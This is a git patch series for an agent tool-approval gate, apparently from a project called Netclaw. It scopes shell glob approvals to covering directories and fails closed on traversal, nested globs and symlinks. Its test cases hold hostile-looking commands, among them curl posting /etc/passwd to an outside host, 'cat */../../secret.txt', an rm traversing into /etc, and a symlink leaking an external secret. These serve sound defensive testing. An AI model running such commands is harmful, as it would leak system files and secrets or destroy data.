StoredApproval | none | Not applicable | | native-option-and-redirect-scopes-all-checked | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api > ./response.json | persistent[project]:curl | RequiresApproval | approval required | curl | No | | native-dynamic-file-reference-fails-closed | Personal | Project | Interactive | curl --data=@$REQUEST_FILE https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | none | Yes | -| unresolved-glob-path-fails-closed | Personal | Project | Interactive | rm {TempPath}*.bak | persistent[project]:rm | RequiresApproval | approval required | none | Yes | +| local-glob-allows-safe-verb | Personal | Project | Interactive | ls *.txt | none | Allowed | SafeVerbInTrustedScope | none | Not applicable | +| local-glob-reuses-project-grant | Personal | Project | Interactive | rm artifacts/*.tmp | persistent[project]:rm | Allowed | StoredApproval | none | Not applicable | +| external-glob-does-not-reuse-project-grant | Personal | Project | Interactive | rm {TempPath}*.bak | persistent[project]:rm | RequiresApproval | approval required | rm | No | | native-global-option-identity-gap-currently-prompts | Personal | Project | Interactive | git --no-pager status | persistent[project]:git status | RequiresApproval | approval required | git | No | | semicolon-sequence-prompts | Personal | Project | Interactive | git status; git push | none | RequiresApproval | approval required | git status, git push | No | | newline-sequence-prompts | Personal | Project | Interactive | git status\ngit push | none | RequiresApproval | approval required | git status, git push | No | diff --git a/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs b/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs index e0ef69764..89538f178 100644 --- a/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs +++ b/src/Netclaw.Actors.Tests/Tools/ToolApprovalGateTests.cs @@ -97,7 +97,7 @@ public void Missing_personal_approval_policy_fails_closed_for_shell() [SlopwatchSuppress("SW001", "This test verifies Bash glob behavior, which does not apply to the Windows shell parser.")] [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] - public void Unresolved_shell_glob_only_offers_one_time_approval_or_deny() + public void Static_shell_glob_uses_covering_directory_and_offers_persistent_approval() { var policy = CreatePolicy(ToolApprovalMode.Approval); var args = ToolInput.Create( @@ -107,10 +107,13 @@ public void Unresolved_shell_glob_only_offers_one_time_approval_or_deny() var decision = policy.AuthorizeInvocation(ShellTool(), PersonalContext(), args); Assert.True(decision.NeedsApproval); - Assert.True(decision.ApprovalContext!.IsMessy); - Assert.Equal( - [ApprovalOptionKeys.ApproveOnce, ApprovalOptionKeys.Deny], - decision.ApprovalContext.Options.Select(option => option.Key.Value)); + Assert.False(decision.ApprovalContext!.IsMessy); + var candidate = Assert.Single(decision.ApprovalContext.Candidates!); + Assert.Equal("rm", candidate.Verb); + Assert.Equal("/tmp", candidate.Directory); + Assert.Contains( + decision.ApprovalContext.Options, + option => option.Key.Value == ApprovalOptionKeys.ApproveAlways); } [Fact] diff --git a/src/Netclaw.Actors/Tools/ToolAccessPolicy.cs b/src/Netclaw.Actors/Tools/ToolAccessPolicy.cs index 89faeb4f6..47976dfe2 100644 --- a/src/Netclaw.Actors/Tools/ToolAccessPolicy.cs +++ b/src/Netclaw.Actors/Tools/ToolAccessPolicy.cs @@ -143,7 +143,10 @@ public ToolAccessDecision AuthorizeInvocation( $"hard_deny_{hardDenyDecision.DenyCategory?.ToWireName() ?? "unknown"}"); } - var workingDirectory = ExtractWorkingDirectory(arguments); + // All shell policy checks must use the directory that ShellTool uses. + // The explicit tool argument can be absent while the context supplies + // an active project, session, or inherited directory. + var workingDirectory = context.ResolveShellCwd(ExtractWorkingDirectory(arguments)); if (shellCommand is not null && _toolPathPolicy?.CommandReferencesDeniedPath(shellCommand, workingDirectory) == true) return ToolAccessDecision.Deny("shell_references_protected_path"); @@ -267,6 +270,27 @@ private static bool ShellCommandHasPathArguments(string shellCommand) return ToolArgumentHelper.GetString(arguments, "WorkingDirectory"); } + private static IDictionary? WithResolvedShellWorkingDirectory( + IDictionary? arguments, + string? resolvedWorkingDirectory) + { + if (string.IsNullOrWhiteSpace(resolvedWorkingDirectory) + || !string.IsNullOrWhiteSpace(ExtractWorkingDirectory(arguments))) + { + return arguments; + } + + var analysisArguments = new Dictionary(StringComparer.OrdinalIgnoreCase); + if (arguments is not null) + { + foreach (var (key, value) in arguments) + analysisArguments[key] = value; + } + + analysisArguments["WorkingDirectory"] = resolvedWorkingDirectory; + return analysisArguments; + } + private ToolAccessDecision CheckApprovalGate( ToolName toolName, ToolExecutionContext context, @@ -309,25 +333,27 @@ private ToolAccessDecision CheckApprovalGate( // the prompt body. Button labels stay fixed; runtime values like // paths never enter button text because Slack caps button text at // 76 chars and Discord at 80. - var patterns = matcher.ExtractPatterns(toolName, arguments); - var candidates = matcher.ExtractCandidates(toolName, arguments); + // The shell process and the approval parser must use one cwd. The tool + // argument can omit it because the context supplies the project or + // session directory. Give that resolved value to the parser too. + var isShell = string.Equals(toolName.Value, ShellTool.ToolName, StringComparison.Ordinal); + var resolvedShellCwd = isShell + ? context.ResolveShellCwd(ExtractWorkingDirectory(arguments)) + : null; + if (isShell) + context.Approval.SetCwd(resolvedShellCwd); + + var analysisArguments = isShell + ? WithResolvedShellWorkingDirectory(arguments, resolvedShellCwd) + : arguments; + var patterns = matcher.ExtractPatterns(toolName, analysisArguments); + var candidates = matcher.ExtractCandidates(toolName, analysisArguments); var candidateVerbs = candidates .Select(static c => c.Verb) .Distinct(StringComparer.OrdinalIgnoreCase) .ToList(); var displayText = matcher.FormatForDisplay(toolName, arguments); - var isMessy = matcher.IsMessy(toolName, arguments); - - // Resolve cwd up-front for shell so it's available to the safe-verb - // short-circuit, the shallow-cwd guard, AND the approval context that - // gets persisted on "Always here". Doing this only inside the - // short-circuit branch (as the original v2 layout did) drops cwd from - // ToolApprovalContext when conditions don't match — silently turning - // every "Always here" click into "Always anywhere" because the - // persistence path reads PendingToolInteraction.Cwd. - var isShell = string.Equals(toolName.Value, ShellTool.ToolName, StringComparison.Ordinal); - if (isShell) - context.Approval.SetCwd(context.ResolveShellCwd(ExtractWorkingDirectory(arguments))); + var isMessy = matcher.IsMessy(toolName, analysisArguments); // Safe-verb ∩ safe-space short-circuit. Runs only for shell and only // when the matcher could extract candidate verbs cleanly — messy diff --git a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs index 20d143006..717ad0fbe 100644 --- a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs +++ b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs @@ -584,6 +584,14 @@ public sealed class ShellApprovalMatcherPathExtractionTests } }; + public static TheoryData StaticGlobScopeCases => new() + { + { "ls *.txt", "project" }, + { "cat src/*.cs", "project/src" }, + { "rm {external}/*.bak", "external" }, + { "curl --data=@payloads/*.json https://example.invalid/api", "project/payloads" } + }; + /// /// xunit.v3 SkipUnless hook for POSIX-only tests. The v2 /// matcher falls through to the legacy ShellTokenizer path @@ -627,6 +635,37 @@ public void ExtractCandidates_uses_all_parser_path_scopes( Assert.Equal(expectedDirectories, actualDirectories); } + [SlopwatchSuppress("SW001", "This theory verifies Bash glob scopes, which do not apply to the Windows shell parser.")] + [Theory(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] + [MemberData(nameof(StaticGlobScopeCases))] + public void ExtractCandidates_uses_static_glob_covering_directory( + string commandTemplate, + string expectedScope) + { + var root = Path.Combine(Path.GetTempPath(), $"netclaw-glob-scopes-{Guid.NewGuid():N}"); + var projectDirectory = Path.Combine(root, "project"); + var externalDirectory = Path.Combine(root, "external"); + var command = commandTemplate.Replace( + "{external}", + externalDirectory, + StringComparison.Ordinal); + var expectedDirectory = expectedScope switch + { + "project" => projectDirectory, + "project/src" => Path.Combine(projectDirectory, "src"), + "project/payloads" => Path.Combine(projectDirectory, "payloads"), + "external" => externalDirectory, + _ => throw new ArgumentOutOfRangeException(nameof(expectedScope), expectedScope, "Unknown test scope.") + }; + + var candidate = Assert.Single(_matcher.ExtractCandidates( + new ToolName("shell_execute"), + Args(command, projectDirectory))); + + Assert.Equal(expectedDirectory, candidate.Directory); + Assert.False(_matcher.IsMessy(new ToolName("shell_execute"), Args(command, projectDirectory))); + } + [SlopwatchSuppress("SW001", "This test verifies Bash symlink path behavior, which does not apply to the Windows shell parser.")] [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] public void ExtractCandidates_keeps_ambiguous_path_when_symlink_can_escape_cwd() diff --git a/src/Netclaw.Security/IToolApprovalMatcher.cs b/src/Netclaw.Security/IToolApprovalMatcher.cs index f566bd1fa..3493e3da4 100644 --- a/src/Netclaw.Security/IToolApprovalMatcher.cs +++ b/src/Netclaw.Security/IToolApprovalMatcher.cs @@ -274,6 +274,16 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis if (arg.IsCwdAttribution || !IsAuthorizationPathArg(arg, clauseWorkingDirectory)) continue; + if (arg.Kind == ShellSyntaxTree.ArgKind.Glob) + { + var coveringDirectory = ResolveGlobCoveringDirectory(arg, clauseWorkingDirectory); + if (coveringDirectory is null) + return null; + + directories.Add(coveringDirectory); + continue; + } + // A parser path without a canonical value cannot use the broader // cwd grant. Return no candidates so the command fails closed. if (string.IsNullOrWhiteSpace(arg.Resolved)) @@ -301,6 +311,44 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis return directories.Distinct(StringComparer.Ordinal).ToList(); } + private static string? ResolveGlobCoveringDirectory( + ShellSyntaxTree.Arg arg, + string? workingDirectory) + { + var path = arg.Raw.Trim(); + if (path.Length >= 2 && path[0] is '\'' or '"' && path[^1] == path[0]) + path = path[1..^1]; + + if (arg.IsFlag) + { + var valueSeparator = path.IndexOf('=', StringComparison.Ordinal); + if (valueSeparator < 0 || valueSeparator == path.Length - 1) + return null; + + path = path[(valueSeparator + 1)..]; + } + + path = path.TrimStart('@'); + const string fileSystemPrefix = "filesystem::"; + if (path.StartsWith(fileSystemPrefix, StringComparison.OrdinalIgnoreCase)) + path = path[fileSystemPrefix.Length..]; + + var firstGlob = path.IndexOfAny(['*', '?', '[']); + if (firstGlob < 0) + return null; + + var staticPrefix = path[..firstGlob]; + var separator = staticPrefix.LastIndexOf('/'); + var coveringPath = separator switch + { + < 0 => ".", + 0 => "/", + _ => staticPrefix[..separator] + }; + + return ShellTokenizer.NormalizePathToken(coveringPath, workingDirectory); + } + private static bool IsAuthorizationPathArg( ShellSyntaxTree.Arg arg, string? workingDirectory) diff --git a/src/Netclaw.Security/ShellCommandAnalysis.cs b/src/Netclaw.Security/ShellCommandAnalysis.cs index 5bd6d15f9..c008f94e4 100644 --- a/src/Netclaw.Security/ShellCommandAnalysis.cs +++ b/src/Netclaw.Security/ShellCommandAnalysis.cs @@ -163,6 +163,9 @@ internal sealed record ShellCommandAnalysis( public bool HasDynamicSyntax => Clauses.Any(static clause => clause.Verb.IsDynamic || clause.Args.Any(static arg => arg.Kind == ArgKind.DynamicSkip) - || clause.Args.Any(static arg => arg.IsPath && string.IsNullOrWhiteSpace(arg.Resolved)) + || clause.Args.Any(static arg => + arg.IsPath + && arg.Kind != ArgKind.Glob + && string.IsNullOrWhiteSpace(arg.Resolved)) || clause.Redirects.Any(static redirect => redirect.IsDynamicSkip)); } From 44e77d44ce5285b59e87dbc7a7690bf225b71c14 Mon Sep 17 00:00:00 2001 From: Aaron Stannard Date: Wed, 5 Aug 2026 20:33:12 +0000 Subject: [PATCH 4/6] fix(approvals): fail closed on nested globs --- .../Tools/ShellApprovalCaseCatalog.cs | 10 +++++++++ ...roval_cases_match_review_table.verified.md | 2 ++ .../ShellApprovalMatcherTests.cs | 21 +++++++++++++++++++ src/Netclaw.Security/IToolApprovalMatcher.cs | 3 +++ src/Netclaw.Security/ShellCommandAnalysis.cs | 16 ++++++++++++++ 5 files changed, 52 insertions(+) diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs index 6e8b4609e..f31ae949a 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs @@ -394,6 +394,16 @@ public static class ShellApprovalCases Bash($"rm {TemporaryFile("*.bak")}"), Approvals.PersistentHere(ApprovalDirectoryShape.Project, "rm"), ExpectedApproval.Require(["rm"])), + Case( + "glob-traversal-fails-closed", + Bash("cat */../../secret.txt"), + Approvals.PersistentAnywhere("cat"), + ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), + Case( + "glob-intermediate-symlink-scope-fails-closed", + Bash("cat artifacts/*/secret.txt"), + Approvals.PersistentAnywhere("cat"), + ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), Case( "native-global-option-identity-gap-currently-prompts", Bash("git --no-pager status"), diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md index b913bad99..b376d12df 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md @@ -44,6 +44,8 @@ | local-glob-allows-safe-verb | Personal | Project | Interactive | ls *.txt | none | Allowed | SafeVerbInTrustedScope | none | Not applicable | | local-glob-reuses-project-grant | Personal | Project | Interactive | rm artifacts/*.tmp | persistent[project]:rm | Allowed | StoredApproval | none | Not applicable | | external-glob-does-not-reuse-project-grant | Personal | Project | Interactive | rm {TempPath}*.bak | persistent[project]:rm | RequiresApproval | approval required | rm | No | +| glob-traversal-fails-closed | Personal | Project | Interactive | cat */../../secret.txt | persistent[anywhere]:cat | RequiresApproval | approval required | none | Yes | +| glob-intermediate-symlink-scope-fails-closed | Personal | Project | Interactive | cat artifacts/*/secret.txt | persistent[anywhere]:cat | RequiresApproval | approval required | none | Yes | | native-global-option-identity-gap-currently-prompts | Personal | Project | Interactive | git --no-pager status | persistent[project]:git status | RequiresApproval | approval required | git | No | | semicolon-sequence-prompts | Personal | Project | Interactive | git status; git push | none | RequiresApproval | approval required | git status, git push | No | | newline-sequence-prompts | Personal | Project | Interactive | git status\ngit push | none | RequiresApproval | approval required | git status, git push | No | diff --git a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs index 717ad0fbe..b04d5b37c 100644 --- a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs +++ b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs @@ -592,6 +592,13 @@ public sealed class ShellApprovalMatcherPathExtractionTests { "curl --data=@payloads/*.json https://example.invalid/api", "project/payloads" } }; + public static TheoryData UnsafeGlobScopeCases => new() + { + { "cat */../../secret.txt" }, + { "cat artifacts/*/secret.txt" }, + { "rm /tmp/*/../../etc/*.bak" } + }; + /// /// xunit.v3 SkipUnless hook for POSIX-only tests. The v2 /// matcher falls through to the legacy ShellTokenizer path @@ -666,6 +673,20 @@ public void ExtractCandidates_uses_static_glob_covering_directory( Assert.False(_matcher.IsMessy(new ToolName("shell_execute"), Args(command, projectDirectory))); } + [SlopwatchSuppress("SW001", "This theory verifies Bash glob scopes, which do not apply to the Windows shell parser.")] + [Theory(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] + [MemberData(nameof(UnsafeGlobScopeCases))] + public void Directory_segment_glob_fails_closed(string command) + { + var projectDirectory = Path.Combine( + Path.GetTempPath(), + $"netclaw-unsafe-glob-{Guid.NewGuid():N}"); + var arguments = Args(command, projectDirectory); + + Assert.Empty(_matcher.ExtractCandidates(new ToolName("shell_execute"), arguments)); + Assert.True(_matcher.IsMessy(new ToolName("shell_execute"), arguments)); + } + [SlopwatchSuppress("SW001", "This test verifies Bash symlink path behavior, which does not apply to the Windows shell parser.")] [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] public void ExtractCandidates_keeps_ambiguous_path_when_symlink_can_escape_cwd() diff --git a/src/Netclaw.Security/IToolApprovalMatcher.cs b/src/Netclaw.Security/IToolApprovalMatcher.cs index 3493e3da4..dec0d6058 100644 --- a/src/Netclaw.Security/IToolApprovalMatcher.cs +++ b/src/Netclaw.Security/IToolApprovalMatcher.cs @@ -315,6 +315,9 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis ShellSyntaxTree.Arg arg, string? workingDirectory) { + if (ShellGlobPath.HasUnresolvedDescendantScope(arg)) + return null; + var path = arg.Raw.Trim(); if (path.Length >= 2 && path[0] is '\'' or '"' && path[^1] == path[0]) path = path[1..^1]; diff --git a/src/Netclaw.Security/ShellCommandAnalysis.cs b/src/Netclaw.Security/ShellCommandAnalysis.cs index c008f94e4..704295c72 100644 --- a/src/Netclaw.Security/ShellCommandAnalysis.cs +++ b/src/Netclaw.Security/ShellCommandAnalysis.cs @@ -156,6 +156,19 @@ internal enum ShellAnalysisFailure Unresolved } +internal static class ShellGlobPath +{ + public static bool HasUnresolvedDescendantScope(Arg arg) + { + if (!arg.IsPath || arg.Kind != ArgKind.Glob) + return false; + + var firstGlob = arg.Raw.IndexOfAny(['*', '?', '[']); + return firstGlob >= 0 + && arg.Raw.IndexOf('/', firstGlob + 1) >= 0; + } +} + internal sealed record ShellCommandAnalysis( IReadOnlyList Clauses, ShellAnalysisFailure Failure) @@ -167,5 +180,8 @@ internal sealed record ShellCommandAnalysis( arg.IsPath && arg.Kind != ArgKind.Glob && string.IsNullOrWhiteSpace(arg.Resolved)) + // A glob in a directory segment can hide traversal or a symlink. + // Only a leaf glob has a fixed directory scope. + || clause.Args.Any(ShellGlobPath.HasUnresolvedDescendantScope) || clause.Redirects.Any(static redirect => redirect.IsDynamicSkip)); } From dca7b95aedf7d2ff041e08bb4b303831178c0731 Mon Sep 17 00:00:00 2001 From: Aaron Stannard Date: Wed, 5 Aug 2026 20:40:02 +0000 Subject: [PATCH 5/6] fix(approvals): reject symlink glob matches --- .../Tools/ShellApprovalCaseCatalog.cs | 2 +- ...roval_cases_match_review_table.verified.md | 2 +- .../ShellApprovalMatcherTests.cs | 28 +++++++++ src/Netclaw.Security/IToolApprovalMatcher.cs | 61 ++++++++++++++++++- 4 files changed, 88 insertions(+), 5 deletions(-) diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs index f31ae949a..bc4c10a06 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalCaseCatalog.cs @@ -386,7 +386,7 @@ public static class ShellApprovalCases ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)), Case( "local-glob-reuses-project-grant", - Bash("rm artifacts/*.tmp"), + Bash("rm *.tmp"), Approvals.PersistentHere(ApprovalDirectoryShape.Project, "rm"), ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:rm")), Case( diff --git a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md index b376d12df..9eb148f93 100644 --- a/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md +++ b/src/Netclaw.Actors.Tests/Tools/ShellApprovalDispositionMatrixTests.Shell_approval_cases_match_review_table.verified.md @@ -42,7 +42,7 @@ | native-option-and-redirect-scopes-all-checked | Personal | Project | Interactive | curl --data=@/etc/passwd https://example.invalid/api > ./response.json | persistent[project]:curl | RequiresApproval | approval required | curl | No | | native-dynamic-file-reference-fails-closed | Personal | Project | Interactive | curl --data=@$REQUEST_FILE https://example.invalid/api | persistent[project]:curl | RequiresApproval | approval required | none | Yes | | local-glob-allows-safe-verb | Personal | Project | Interactive | ls *.txt | none | Allowed | SafeVerbInTrustedScope | none | Not applicable | -| local-glob-reuses-project-grant | Personal | Project | Interactive | rm artifacts/*.tmp | persistent[project]:rm | Allowed | StoredApproval | none | Not applicable | +| local-glob-reuses-project-grant | Personal | Project | Interactive | rm *.tmp | persistent[project]:rm | Allowed | StoredApproval | none | Not applicable | | external-glob-does-not-reuse-project-grant | Personal | Project | Interactive | rm {TempPath}*.bak | persistent[project]:rm | RequiresApproval | approval required | rm | No | | glob-traversal-fails-closed | Personal | Project | Interactive | cat */../../secret.txt | persistent[anywhere]:cat | RequiresApproval | approval required | none | Yes | | glob-intermediate-symlink-scope-fails-closed | Personal | Project | Interactive | cat artifacts/*/secret.txt | persistent[anywhere]:cat | RequiresApproval | approval required | none | Yes | diff --git a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs index b04d5b37c..916204fc0 100644 --- a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs +++ b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs @@ -687,6 +687,34 @@ public void Directory_segment_glob_fails_closed(string command) Assert.True(_matcher.IsMessy(new ToolName("shell_execute"), arguments)); } + [SlopwatchSuppress("SW001", "This test verifies Bash symlink glob behavior, which does not apply to the Windows shell parser.")] + [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] + public void Leaf_glob_that_matches_symlink_fails_closed() + { + var root = Path.Combine(Path.GetTempPath(), $"netclaw-glob-symlink-{Guid.NewGuid():N}"); + var projectDirectory = Path.Combine(root, "project"); + var artifactsDirectory = Path.Combine(projectDirectory, "artifacts"); + var externalDirectory = Path.Combine(root, "external"); + var externalFile = Path.Combine(externalDirectory, "secret.txt"); + var link = Path.Combine(artifactsDirectory, "leak.txt"); + Directory.CreateDirectory(artifactsDirectory); + Directory.CreateDirectory(externalDirectory); + File.WriteAllText(externalFile, "secret"); + File.CreateSymbolicLink(link, externalFile); + + try + { + var arguments = Args("cat artifacts/*.txt", projectDirectory); + + Assert.Empty(_matcher.ExtractCandidates(new ToolName("shell_execute"), arguments)); + Assert.True(_matcher.IsMessy(new ToolName("shell_execute"), arguments)); + } + finally + { + Directory.Delete(root, recursive: true); + } + } + [SlopwatchSuppress("SW001", "This test verifies Bash symlink path behavior, which does not apply to the Windows shell parser.")] [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] public void ExtractCandidates_keeps_ambiguous_path_when_symlink_can_escape_cwd() diff --git a/src/Netclaw.Security/IToolApprovalMatcher.cs b/src/Netclaw.Security/IToolApprovalMatcher.cs index dec0d6058..77e077632 100644 --- a/src/Netclaw.Security/IToolApprovalMatcher.cs +++ b/src/Netclaw.Security/IToolApprovalMatcher.cs @@ -349,7 +349,55 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis _ => staticPrefix[..separator] }; - return ShellTokenizer.NormalizePathToken(coveringPath, workingDirectory); + var leafPattern = path[(separator + 1)..]; + var coveringDirectory = ShellTokenizer.NormalizePathToken(coveringPath, workingDirectory); + if (coveringDirectory is null + || HasMatchingSymlink(coveringDirectory, leafPattern)) + { + return null; + } + + return coveringDirectory; + } + + private static bool HasMatchingSymlink(string directory, string leafPattern) + { + if (!Directory.Exists(directory)) + return false; + + try + { + foreach (var entry in Directory.EnumerateFileSystemEntries(directory)) + { + var name = Path.GetFileName(entry); + if (name.StartsWith(".", StringComparison.Ordinal) + && !leafPattern.StartsWith(".", StringComparison.Ordinal)) + { + continue; + } + + // FileSystemName covers '*' and '?'. A bracket expression is + // a Bash feature, so inspect every symlink in that directory. + var couldMatch = leafPattern.Contains('[', StringComparison.Ordinal) + || System.IO.Enumeration.FileSystemName.MatchesSimpleExpression( + leafPattern, + name, + ignoreCase: false); + if (couldMatch && PathUtility.ContainsSymlinkSegment(directory, entry)) + return true; + } + + return false; + } + catch (Exception ex) when (ex is ArgumentException + or IOException + or NotSupportedException + or UnauthorizedAccessException + or System.Security.SecurityException) + { + // The matcher cannot prove the expansion stays in the fixed scope. + return true; + } } private static bool IsAuthorizationPathArg( @@ -659,8 +707,15 @@ public bool IsMessy(ToolName toolName, IDictionary? arguments) if (OperatingSystem.IsWindows()) return ShellTokenizer.IsMessyCompoundCommand(command); - var analysis = TryAnalyzeCommand(command, GetWorkingDirectory(arguments)); - return analysis is null || analysis.HasDynamicSyntax; + var workingDirectory = GetWorkingDirectory(arguments); + var analysis = TryAnalyzeCommand(command, workingDirectory); + if (analysis is null || analysis.HasDynamicSyntax) + return true; + + return analysis.Clauses + .SelectMany(static clause => clause.Args) + .Where(static arg => arg.IsPath && arg.Kind == ShellSyntaxTree.ArgKind.Glob) + .Any(arg => ResolveGlobCoveringDirectory(arg, workingDirectory) is null); } public string FormatForDisplay(ToolName toolName, IDictionary? arguments) From bb366cea78e2f534f2faa0bd9c7b847e437902f1 Mon Sep 17 00:00:00 2001 From: Aaron Stannard Date: Wed, 5 Aug 2026 20:44:43 +0000 Subject: [PATCH 6/6] fix(approvals): inspect all glob scope symlinks --- .../ShellApprovalMatcherTests.cs | 16 +++++++++---- src/Netclaw.Security/IToolApprovalMatcher.cs | 24 +++++-------------- 2 files changed, 18 insertions(+), 22 deletions(-) diff --git a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs index 916204fc0..28db0f9e1 100644 --- a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs +++ b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs @@ -599,6 +599,13 @@ public sealed class ShellApprovalMatcherPathExtractionTests { "rm /tmp/*/../../etc/*.bak" } }; + public static TheoryData SymlinkLeafGlobCases => new() + { + { "cat artifacts/*.txt", "leak.txt" }, + { "cat artifacts/?.txt", "😀.txt" }, + { "cat artifacts/\\.*", ".leak" } + }; + /// /// xunit.v3 SkipUnless hook for POSIX-only tests. The v2 /// matcher falls through to the legacy ShellTokenizer path @@ -688,15 +695,16 @@ public void Directory_segment_glob_fails_closed(string command) } [SlopwatchSuppress("SW001", "This test verifies Bash symlink glob behavior, which does not apply to the Windows shell parser.")] - [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] - public void Leaf_glob_that_matches_symlink_fails_closed() + [Theory(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")] + [MemberData(nameof(SymlinkLeafGlobCases))] + public void Leaf_glob_in_directory_with_symlink_fails_closed(string command, string linkName) { var root = Path.Combine(Path.GetTempPath(), $"netclaw-glob-symlink-{Guid.NewGuid():N}"); var projectDirectory = Path.Combine(root, "project"); var artifactsDirectory = Path.Combine(projectDirectory, "artifacts"); var externalDirectory = Path.Combine(root, "external"); var externalFile = Path.Combine(externalDirectory, "secret.txt"); - var link = Path.Combine(artifactsDirectory, "leak.txt"); + var link = Path.Combine(artifactsDirectory, linkName); Directory.CreateDirectory(artifactsDirectory); Directory.CreateDirectory(externalDirectory); File.WriteAllText(externalFile, "secret"); @@ -704,7 +712,7 @@ public void Leaf_glob_that_matches_symlink_fails_closed() try { - var arguments = Args("cat artifacts/*.txt", projectDirectory); + var arguments = Args(command, projectDirectory); Assert.Empty(_matcher.ExtractCandidates(new ToolName("shell_execute"), arguments)); Assert.True(_matcher.IsMessy(new ToolName("shell_execute"), arguments)); diff --git a/src/Netclaw.Security/IToolApprovalMatcher.cs b/src/Netclaw.Security/IToolApprovalMatcher.cs index 77e077632..e1490adff 100644 --- a/src/Netclaw.Security/IToolApprovalMatcher.cs +++ b/src/Netclaw.Security/IToolApprovalMatcher.cs @@ -349,10 +349,9 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis _ => staticPrefix[..separator] }; - var leafPattern = path[(separator + 1)..]; var coveringDirectory = ShellTokenizer.NormalizePathToken(coveringPath, workingDirectory); if (coveringDirectory is null - || HasMatchingSymlink(coveringDirectory, leafPattern)) + || ContainsSymlinkEntry(coveringDirectory)) { return null; } @@ -360,7 +359,7 @@ private static IReadOnlyList ExtractCandidatesViaBashAnalysis return coveringDirectory; } - private static bool HasMatchingSymlink(string directory, string leafPattern) + private static bool ContainsSymlinkEntry(string directory) { if (!Directory.Exists(directory)) return false; @@ -369,21 +368,10 @@ private static bool HasMatchingSymlink(string directory, string leafPattern) { foreach (var entry in Directory.EnumerateFileSystemEntries(directory)) { - var name = Path.GetFileName(entry); - if (name.StartsWith(".", StringComparison.Ordinal) - && !leafPattern.StartsWith(".", StringComparison.Ordinal)) - { - continue; - } - - // FileSystemName covers '*' and '?'. A bracket expression is - // a Bash feature, so inspect every symlink in that directory. - var couldMatch = leafPattern.Contains('[', StringComparison.Ordinal) - || System.IO.Enumeration.FileSystemName.MatchesSimpleExpression( - leafPattern, - name, - ignoreCase: false); - if (couldMatch && PathUtility.ContainsSymlinkSegment(directory, entry)) + // Netclaw does not reproduce Bash glob rules here. Unicode, + // brackets, and escapes differ from .NET wildcard rules. + // Any symlink makes the leaf expansion unsafe to persist. + if (PathUtility.ContainsSymlinkSegment(directory, entry)) return true; }